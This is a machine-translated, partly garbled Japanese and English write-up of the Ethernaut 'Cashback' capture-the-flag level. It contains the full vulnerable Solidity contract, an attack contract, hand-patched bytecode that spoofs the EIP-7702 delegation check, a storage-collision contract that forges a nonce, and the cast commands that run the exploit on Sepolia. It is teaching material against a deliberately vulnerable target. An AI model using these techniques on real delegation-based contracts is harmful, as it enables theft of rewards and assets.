EIP-7702のニュアンスを掘り下げながら、私は challenge — a scenario designed to test whether developers truly understand the security implications of 7702 based delegation. On the surface, the challenge looks straightforward: a cashback program that rewards users for on-chain payments and grants a NFT once enough points are accumulated. Ethernaut キャッシュバック スーパーキャッシュバック Ethernaut キャッシュバック 参加するには、ユーザーはEIP-7702を使用してキャッシュバック契約に委託する必要があります。その後、彼らはpayWithCashbackを呼び出し、ポイントを稼ぎ始めることができます。 実際には、EIP-7702の代表団は、この挑戦が示すように設計されているセキュリティのを作り出します。この書き込みは、契約がどのように機能するべきか、仮定が失敗する場所、および利用パスがどのように生じるかをカバーします。 挑戦 https://ethernaut.openzeppelin.com/level/36 https://ethernaut.openzeppelin.com/level/36 あなたはカッシュバックに加わったばかりで、街で最もホットな仮想通貨オバンクです。彼らのピッチは抵抗できない:あなたが行うすべてのチェーン決済のために、あなたはポイントを獲得します。 このシステムは EIP-7702 を活用して、EOA がキャッシュバックを蓄積することを可能にします。ユーザーは、payWithCashback 機能を使用するためにキャッシュバック契約に委任する必要があります。 噂によると、電力ユーザーのためのバックドアがあります。あなたの短編はシンプルです:忠誠心プログラムの悪夢になります。サポートされるすべての通貨であなたのキャッシュバックを最大化し、少なくとも2つのスーパーキャッシュバックNFTで行き去り、そのうちの1つはあなたのプレイヤーのアドレスに匹敵しなければなりません。 あなたはカッシュバックに加わったばかりで、街で最もホットな仮想通貨オバンクです。彼らのピッチは抵抗できない:あなたが行うすべてのチェーン決済のために、あなたはポイントを獲得します。 このシステムは EIP-7702 を活用して、EOA がキャッシュバックを蓄積することを可能にします。ユーザーは、payWithCashback 機能を使用するためにキャッシュバック契約に委任する必要があります。 噂によると、電力ユーザーのためのバックドアがあります。あなたの短編はシンプルです:忠誠心プログラムの悪夢になります。サポートされるすべての通貨であなたのキャッシュバックを最大化し、少なくとも2つのスーパーキャッシュバックNFTで行き去り、そのうちの1つはあなたのプレイヤーのアドレスに匹敵しなければなりません。 // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import {TransientSlot} from "@openzeppelin/contracts/utils/TransientSlot.sol"; /*////////////////////////////////////////////////////////////// CURRENCY LIBRARY //////////////////////////////////////////////////////////////*/ type Currency is address; using {equals as ==} for Currency global; using CurrencyLibrary for Currency global; function equals(Currency currency, Currency other) pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(other); } library CurrencyLibrary { error NativeTransferFailed(); error ERC20IsNotAContract(); error ERC20TransferFailed(); Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); function isNative(Currency currency) internal pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(NATIVE_CURRENCY); } function transfer(Currency currency, address to, uint256 amount) internal { if (currency.isNative()) { (bool success,) = to.call{value: amount}(""); require(success, NativeTransferFailed()); } else { (bool success, bytes memory data) = Currency.unwrap(currency).call(abi.encodeCall(IERC20.transfer, (to, amount))); require(Currency.unwrap(currency).code.length != 0, ERC20IsNotAContract()); require(success, ERC20TransferFailed()); require(data.length == 0 || true == abi.decode(data, (bool)), ERC20TransferFailed()); } } function toId(Currency currency) internal pure returns (uint256) { return uint160(Currency.unwrap(currency)); } } /*////////////////////////////////////////////////////////////// CASHBACK CONTRACT //////////////////////////////////////////////////////////////*/ /// @dev keccak256(abi.encode(uint256(keccak256("Cashback")) - 1)) & ~bytes32(uint256(0xff)) contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { using TransientSlot for *; error CashbackNotCashback(); error CashbackIsCashback(); error CashbackNotAllowedInCashback(); error CashbackOnlyAllowedInCashback(); error CashbackNotDelegatedToCashback(); error CashbackNotEOA(); error CashbackNotUnlocked(); error CashbackSuperCashbackNFTMintFailed(); bytes32 internal constant UNLOCKED_TRANSIENT = keccak256("cashback.storage.Unlocked"); uint256 internal constant BASIS_POINTS = 10000; uint256 internal constant SUPERCASHBACK_NONCE = 10000; Cashback internal immutable CASHBACK_ACCOUNT = this; address public immutable superCashbackNFT; uint256 public nonce; mapping(Currency => uint256 Rate) public cashbackRates; mapping(Currency => uint256 MaxCashback) public maxCashback; modifier onlyCashback() { require(msg.sender == address(CASHBACK_ACCOUNT), CashbackNotCashback()); _; } modifier onlyNotCashback() { require(msg.sender != address(CASHBACK_ACCOUNT), CashbackIsCashback()); _; } modifier notOnCashback() { require(address(this) != address(CASHBACK_ACCOUNT), CashbackNotAllowedInCashback()); _; } modifier onlyOnCashback() { require(address(this) == address(CASHBACK_ACCOUNT), CashbackOnlyAllowedInCashback()); _; } modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } modifier onlyEOA() { require(msg.sender == tx.origin, CashbackNotEOA()); _; } modifier unlock() { UNLOCKED_TRANSIENT.asBoolean().tstore(true); _; UNLOCKED_TRANSIENT.asBoolean().tstore(false); } modifier onlyUnlocked() { require(Cashback(payable(msg.sender)).isUnlocked(), CashbackNotUnlocked()); _; } receive() external payable onlyNotCashback {} constructor( address[] memory cashbackCurrencies, uint256[] memory currenciesCashbackRates, uint256[] memory currenciesMaxCashback, address _superCashbackNFT ) ERC1155("") { uint256 len = cashbackCurrencies.length; for (uint256 i = 0; i < len; i++) { cashbackRates[Currency.wrap(cashbackCurrencies[i])] = currenciesCashbackRates[i]; maxCashback[Currency.wrap(cashbackCurrencies[i])] = currenciesMaxCashback[i]; } superCashbackNFT = _superCashbackNFT; } // Implementation Functions function accrueCashback(Currency currency, uint256 amount) external onlyDelegatedToCashback onlyUnlocked onlyOnCashback{ uint256 newNonce = Cashback(payable(msg.sender)).consumeNonce(); uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; if (cashback != 0) { uint256 _maxCashback = maxCashback[currency]; if (balanceOf(msg.sender, currency.toId()) + cashback > _maxCashback) { cashback = _maxCashback - balanceOf(msg.sender, currency.toId()); } uint256[] memory ids = new uint256[](1); ids[0] = currency.toId(); uint256[] memory values = new uint256[](1); values[0] = cashback; _update(address(0), msg.sender, ids, values); } if (SUPERCASHBACK_NONCE == newNonce) { (bool success,) = superCashbackNFT.call(abi.encodeWithSignature("mint(address)", msg.sender)); require(success, CashbackSuperCashbackNFTMintFailed()); } } // Smart Account Functions function payWithCashback(Currency currency, address receiver, uint256 amount) external unlock onlyEOA notOnCashback { currency.transfer(receiver, amount); CASHBACK_ACCOUNT.accrueCashback(currency, amount); } function consumeNonce() external onlyCashback notOnCashback returns (uint256) { return ++nonce; } function isUnlocked() public view returns (bool) { return UNLOCKED_TRANSIENT.asBoolean().tload(); } } 意図されたセキュリティモデル キャッシュバック契約は、コントロールするための変更者を使用します。 電話& コード実行: who where : Caller identity checks onlyEOA():Caller is an EOA, not a contract (msg.sender == tx.origin) を確認します。 onlyCashback():呼び出し者がCashback契約そのものであることを保証します。 onlyNotCashback(): 呼び出し者はCashback契約ではないことを確認します。 : Execution context checks onlyOnCashback():コードがCashback契約のアドレスで実行されていることを確認します. Functions with this modifier can only run when called directly on the contract. notOnCashback():コードがCashback契約アドレスで実行されていないことを確認します. This means the function must run through a delegatecall, not directly on the contract. 基本的に、システムはこのように機能するはずです: 委任された EOA は payWithCashback を自分で呼び出します. This works because the call happens notOnCashback and passes onlyEOA. The function calls directly on the Cashback instance. It has three modifiers: passes because the caller delegated to Cashback, passes because the call happens on Cashback directly. The modifier relates to step 3. payWithCashback Cashback.accrueCashback onlyDelegatedToCashback onlyOnCashback onlyUnlocked the onlyUnlocked modifier calls isUnlocked on msg.sender. Since payWithCashback unlocked it, this check passes. payWithCashbackがそれを解除したので、このチェックは通過します。 この関数には 2 つの修正子があります: OnlyCashback passes because it is called by the Cashback instance, and not OnCashback passes because this function runs in the EOA's context. この関数は、Cashback インスタンスによって呼ばれるため、Cashback のみが経過し、OnCashback が経過しないため、この関数は EOA の文脈で実行されます。 最後に、consumeNonceはEOAの貯蔵にノンシーを増加させます。 常識を見つける 攻撃する前に、課題の主要なパラメータとアドレスを特定する必要があります。 サポートされた通貨 キャッシュバック契約は2種類の通貨をサポートしていますが、挑戦説明では明示的に定義されていませんが、以下の通りです。 Freedom Coin (FREE) at 0x13AaF3218Facf57CfBf5925E15433307b59BCC37 レベルアドレスを取ってチェックして確認できます。 そして、その呼びかけによって、 . コード FREE() 機能 スーパーキャッシュバック NFT 住所は電話で探すことができます。 あなたのキャッシュバックインスタンス superCashbackNFT 最大キャッシュバックおよびキャッシュバック率 最大キャッシュバックに必要な支出を計算するには、2つのパラメータが必要です。 そして on your instance. The contract uses パーセント計算について: maxCashback cashbackRates BASIS_POINTS = 10000 uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; たとえば、Freedom CoinはMAXキャッシュバックを持っています。 A Rate of (2)必要な費用を計算するには: 500e18 200 amount = maxCashback * BASIS_POINTS / rate amount = 500e18 * 10000 / 200 = 25000e18 無料トークン25000枚です。 ノンセ 契約は、あなたのノンセが到達したときにスーパーキャッシュバックNFTを発行します。 ハードコードは10万まで。 SUPERCASHBACK_NONCE 攻撃 複雑なアーキテクチャが一目で破れないように見えるにもかかわらず、私たちが利用できるいくつかの欠陥の仮定があります。 アーキテクチャを見ると、私たちは呼ぶことができます。 変更者は、内部通話へのアクセスを制限するように設計されていますが、 , 機能自体は外部的なので、警備員を回避する場合に直接呼ぶことができます: accrueCashback payWithCashback onlyOnCashback Cashback インスタンスを直接呼び出すことでそれを回避できます。 onlyUnlocked Since this modifier calls isUnlocked on msg.sender, we can bypass it by calling from a contract with a isUnlocked function that always returns true. この変更者呼び出しは、msg.sender上でUnlockedであるため、常に真実を返します。 トップ > トップ > トップ > トップ > トップ > トップ > トップ > トップ > トップ > トップ > トップ > トップ > トップ > トップ > トップ > トップ > トップ > トップ > トップ > modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } THE modifier は、アカウントのバイトコードからバイトコードのバイトアドレスを読み取って、呼び出し者がキャッシュバック契約に委託したことを確認しようとします。 followed by the 20-byte delegation address. The modifier reads these 20 bytes (which it expects to be an address) and verifies they match the Cashback instance address. onlyDelegatedToCashback 0xef0100 バイパス , we need our attack contract's bytecode to look like a valid delegation designator — specifically, the Cashback address must appear at bytes 4–23. バイトコード構造: onlyDelegatedToCashback 0x??????<CASHBACK_ADDRESS>????...<rest_of_contract>. We'll handle this manually later. First, let's create the attack contract. Preparing the Attack Contract As discussed, our contract will be called back by the Cashback instance twice: to check if it's unlocked and to consume the nonce. We need to ensure it's always unlocked and SuperCashback NFT に必要な値を返します。我々は両方の通貨のための完全なキャッシュバックを望んでいますが、NFT は ID として呼び出し者のアドレスでマインドされているので、第二の call would return. So we will return a. 呼び出しが戻る。 ノウハウは1回だけ。 consumeNonce accrueCashback 10,000 通貨とキャッシュバックアドレスを常数に設定します。 直接、私たちは実際のトークンを費やす必要はありません - 最大限のキャッシュバックを得るために正しい金額を渡す必要があります。 accrueCashback Finally, we'll transfer all cashback and the NFT to our player's address. 以下、契約の全文です。 // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {Currency, Cashback} from "./Cashback.sol"; contract AccrueCashbackAttack { Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); Currency public constant FREEDOM_COIN = Currency.wrap(0x13AaF3218Facf57CfBf5925E15433307b59BCC37); Cashback public constant CASHBACK_INSTANCE = Cashback(payable(0xf991E138bA49e25a7DA1a11A726077c77c6241A8)); bool nftMinted; function attack(address player) external { uint256 nativeMaxCashback = CASHBACK_INSTANCE.maxCashback(NATIVE_CURRENCY); uint256 freeMaxCashback = CASHBACK_INSTANCE.maxCashback(FREEDOM_COIN); // Calculate amounts required to reach max cashback for each currency uint256 BASIS_POINTS = 10000; // Basis points from Cashback uint256 nativeAmount = (nativeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(NATIVE_CURRENCY); uint256 freedomAmount = (freeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(FREEDOM_COIN); // Call accrueCashback to mint cashback tokens and SuperCashback NFT to the attack contract CASHBACK_INSTANCE.accrueCashback(NATIVE_CURRENCY, nativeAmount); CASHBACK_INSTANCE.accrueCashback(FREEDOM_COIN, freedomAmount); // Transfer cashback tokens from attack contract to player CASHBACK_INSTANCE.safeTransferFrom(address(this), player, NATIVE_CURRENCY.toId(), nativeMaxCashback, ""); CASHBACK_INSTANCE.safeTransferFrom(address(this), player, FREEDOM_COIN.toId(), freeMaxCashback, ""); // Transfer the SuperCashback NFT (minted with the attack contract's address as ID) IERC721 superCashbackNFT = IERC721(CASHBACK_INSTANCE.superCashbackNFT()); superCashbackNFT.transferFrom(address(this), player, uint256(uint160(address(this)))); } function isUnlocked() public pure returns (bool) { return true; } function consumeNonce() external returns (uint256) { // We can mint only one NFT, because they are minted with id of the contract if (nftMinted) { return 0; } nftMinted = true; return 10_000; } } Delegation Check を回避するために Bytecode を調整する さて、次にトリックの部分が来たので、変更が必要です。 bytecode to pass まず、契約書を作成します。 AccrueCashbackAttack onlyDelegatedToCashback Hardhat を使用している場合は、bytecode が . There are two properties: artifacts/contracts/Attack.sol/AccrueCashbackAttack.json bytecode は、展開中に一度実行された作成(init)コードで、構築論理を実行し、連鎖に保存するランタイムコードを返します。 deployedBytecode は、展開後にチェーン上で保存され、契約が呼ばれるたびに実行されるランタイムコードです。 Cashback インスタンス アドレスをオフセットに設定します。 , exactly where 探してます♪ The 次に続く: 0x03 onlyDelegatedToCashback deployedBytecode 0x??????<CASHBACK_ADDRESS>????<ATTACK_DEPLOYED_BYTECODE> JUMPING OVER THE EMBEDDED ADRESS 通常の実行中に 20 バイトのアドレスを省略するには、以下のオプコードを使用します。 PUSH1 は、ジャンプの目的地を指定します。 JUMP to perform the jump ジャンプ JUMPDEST to mark the destination (required to avoid revert) (目的地を指定するためにジャンプデスト) このように、ただの modifier reads the . onlyDelegatedToCashback <CASHBACK_ADDRESS> では、どんな抵抗に飛び込むべきでしょうか。 Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 ?? | PUSH ?? | [02] | 56 | JUMP | [03] | <CASHBACK_ADDRESS> | | [17] | ??? | ??? | 明らかで間違った仮定は、 , right after . In reality, the answer depends on how lucky you are with your Cashback instance address. Let me show you why. 0x17 <CASHBACK_ADDRESS> My instance is at だから、私の契約はこんな風に始まるのかもしれない。 0xf991E138bA49e25a7DA1a11A726077c77c6241A8 Cashback address ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ 0x601756f991E138bA49e25a7DA1a11A726077c77c6241A85B ↑↑↑↑↑↑ ↑↑ PUSH + JUMP JUMPDEST Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 17 | PUSH 0x17 | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [17]? | 5B | JUMPDEST | しかし、このバイトコードがどのように分解されるかを見てみましょう: タイトル: The Byte 私たちのアドレスは、 opcode. When the EVM encounters , it consumes the following 30 bytes as literal arguments, not as instructions. My (※) )はoffsetに位置する。 , but it is consumed as data for 命令として実行される代わりに、これはバイトコードのストリームを破壊し、 処刑がその場所に到達したとき 0x7D PUSH30 PUSH30 JUMPDEST 5B 0x17 PUSH30 EVM error: InvalidJump Let's fix this. We'll add padding to push our outside the 30 bytes consumed by : JUMPDEST PUSH30 素晴らしい!The 2Aに登場するので、更新します。 オリジナルバージョン: My Final Version: JUMPDEST PUSH1 0x602a56f991E138bA49e25a7DA1a11A726077c77c6241A8000000000000000000000000000000000000005B<attack-bytecode> Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 2a | PUSH 0x2a | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [2a] | 5B | JUMPDEST | このプレフィックスは 43 バイトで構成されています: (2) + (1)+ ( 20 ) + (19)+ (1). PUSH1 JUMP address padding JUMPDEST JUMP OFFSETの調整 今、我々は我々の しかし、契約サイズを43バイト増やしたので、すべてのバイトを調整する必要があります。 and この金額で補償します。 deployedBytecode JUMP JUMPI For demonstration, let's see how to do this manually. Go to , choose Bytecode, and paste your 右側に、オプコードのリストが見えます. Find the first at [0f]. Find all opcodes used by そして with values matching this 43で値を上げる。 https://www.evm.codes/playground deployedBytecode JUMPDEST PUSH2 JUMP JUMPI JUMPDEST この方法は完璧ではない―我々は偶然に変更するかもしれない values that aren't jump destinations. However, false positives should be rare enough for this challenge. PUSH2 なぜPush2? 最初の契約サイズが 3142 (x0C46) バイトだったため、ジャンプ目的地は 255 を超える可能性があります。 PUSH2 を代表する。 コンパイラは、PUSH1 と PUSH2 を混合する代わりに、すべてのジャンプ目的地に対して均一に PUSH2 を使用します。 なぜ PUSH2 ? 最初の契約サイズが 3142 (x0C46) バイトだったため、ジャンプ目的地は 255 を超える可能性があります。 PUSH2 を代表する。 The compiler uses PUSH2 uniformly for all jump destinations rather than mixing PUSH1 そして PUSH2 . Doing this manually would be overwhelming, so I created a script that: Finds all opcodes and stores their initial and adjusted offsets JUMPDEST Finds all opcodes with values matching initial offsets and updates them to adjusted values PUSH2 JUMPDEST あなたはこのプロセスを自動化するためのスクリプトを見つけることができます。 . repository repository Never blindly download and execute random code, including this one! Always review and understand what you're running. Use isolated environments like devcontainers or VMs when experimenting with untrusted code. このコードを含め、決して盲目的にランダムコードをダウンロードして実行しないでください! Always review and understand what you're running. Use isolated environments like devcontainers or VMs when experimenting with untrusted code. Bytecodeの作成 この契約を展開するには、バイトコードを作成する必要があります。 既存の作成コードを変更します。 最初に書いた文物の値は、ここに含まれています。 解体すると、それは示す: bytecode 0x6080604052348015600e575f5ffd5b50610c468061001c5f395ff3fe [10] PUSH2 0c46 この 最初のコードの長さは、 . 0c46 3142 bytes 私たちは、手動で追加した43バイトを加えて、調整されたコードの長さを使用する必要があります。 (3185 bytes). The final creation code: 0C71 0x6080604052348015600e575f5ffd5b50610C718061001c5f395ff3fe ↑↑↑↑ Final Bytecode Assemblyについて The final bytecode is simply the creation code concatenated with the . deployedBytecode 実行攻撃 バイトコードの使い方 → Bytecode Foundryから: cast PRIVATE_KEY=0x{set-your-ethernaut-player-private-key} SEPOLIA_URL=https://{use-alchemy-or-infura} BYTECODE=0x{the-final-bytecode} YOUR_PLAYER_ADDRESS=0x{your-player-address} cast send --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY --create $BYTECODE 攻撃を実行する: cast send $ATTACK_CONTRACT_ADDRESS \ "attack(address)" \ $YOUR_PLAYER_ADDRESS \ --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY あなたの取引をEtherscanでチェックしてください. あなたはキャッシュバックトークンとNFT転送に関連する内部の取引を見るべきです。 At this point, you've achieved maximum cashback for both currencies and obtained one NFT. However, its ID corresponds to your attack contract's address, not your player address. We need one more NFT with your address as the ID. Exploiting Storage Collision for the Second NFT アドレスとして別のNFTが必要ですが、前回の攻撃と同じアプローチを繰り返すことはできません。 意図したように、あなたのEOAをキャッシュバック契約に委任することによって、しかし、我々は偽造することはできません。 function, so we need to increase our nonce some other way. payWithCashback consumeNonce EIP-7702 委任は、それぞれの委任契約に対して別々のストレージを作成しません。 EOA が契約に委任すると、コードは EOA の独自のストレージに対して実行されます。 あなたが時間の経過とともに異なる契約に委任する場合、彼らはすべて EOA で同じストレージスロットに読み書きします。 このストレージの衝突を活用することで、私たちはノンセを操作することができます。 同じストレージスロットに書き込み、ノンセを 9999 に設定し、Cashback に再委任し、NFT コインを引き起こす 1 つのトランザクションを実行します。 Cashback アカウントは、特定のスロットにストレージを配置するためにカスタマイズされたストレージレイアウト指令を使用していることに注意してください. This feature, introduced in Solidity 0.8.29, allows contracts to relocate their storage variables to arbitrary positions. contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { // ... constants and immutables uint256 public nonce; } THE is the first variable in the layout — all the preceding variables are constants and immutables, so they do not take slots. しかし、 オープンゼッペリンから3スロット というわけで、実際のロックは これを知って、私たちのEOAストレージに大きなノンセを注入しましょう。 nonce ERC1155 nonce 0x442a9...ba03 こちらはThe 私がセポリアに展開した操作契約: nonce contract NonceAttack layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba03 { uint256 public injectedNonce; // The next call to payWithCashback will increment it to 10_000 and we will get SuperCashback NFT function injectNonce() external { injectedNonce = 9999; } } 次のステップは、EOAを委任することです。 Foundryの 通常、我々は我々のアカウントのノンセを要求し、それを1つに増やし、権限取引に署名し、それからそれを送信する必要がありますが、我々は単に権限アドレスを提供することができます。 NonceAttack. cast cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <NONCE_ATTACK_ADDRESS> Nonce を使用して設定できます。 覚えておいてください、私たちはこの機能を自分自身ではなく、 裁判所: injectNonce() NonceAttack cast send $YOUR_PLAYER_ADDRESS \ "injectNonce()" \ --rpc-url $SEPOLIA_URL \ --private-key $PRIVATE_KEY 最終攻撃ステップ ストレージの衝突利用を通じて 9999 に設定されたノンセでは、最終的な攻撃のステップは、Cashback 契約に再委託し、1 つのトランザクションを実行してノンセを 10,000 に押し上げ、第二の SuperCashback NFT があなたのプレイヤーのアドレスを ID として使用することを引き起こします。 アカウントをCashbackインスタンスに再委任します. NonceAttack と同じ手順に従ってください: cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <CASHBACK_ADDRESS> キャッシュバック契約は、あなたのノンセをチェックするためのノンセ機能を提供します。 cast call $YOUR_PLAYER_ADDRESS \ "nonce()" \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL payWithCashback を自分で呼び出すことによって、最後のステップを実行してください: cast send $YOUR_PLAYER_ADDRESS \ "payWithCashback(address,address,uint256)" \ 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE \ 0x03dcb79ee411fd94a701ba88351fef8f15b8f528 \ 1 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL あなたは今、2 NFTsと最大キャッシュバックを所有しています。 And before we go, don't forget to remove the delegation. cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth 0x0000000000000000000000000000000000000000 What We've Learned 1. Validate delegation the right way. 常にチェック EIP-3541 により、バイトコードが 0xef で始まる契約の展開を禁止するため、このプレフィックスは、委任された EOA を任意の契約から確実に区別します。 0xef0100 2. Never store protocol-critical state inside an EOA. EOA所有者は、あらゆる契約に委任することができ、その契約は自由に同じストレージスロットに書くことができます - あなたがプライベートであると仮定するものも含めて。 . your protocol's storage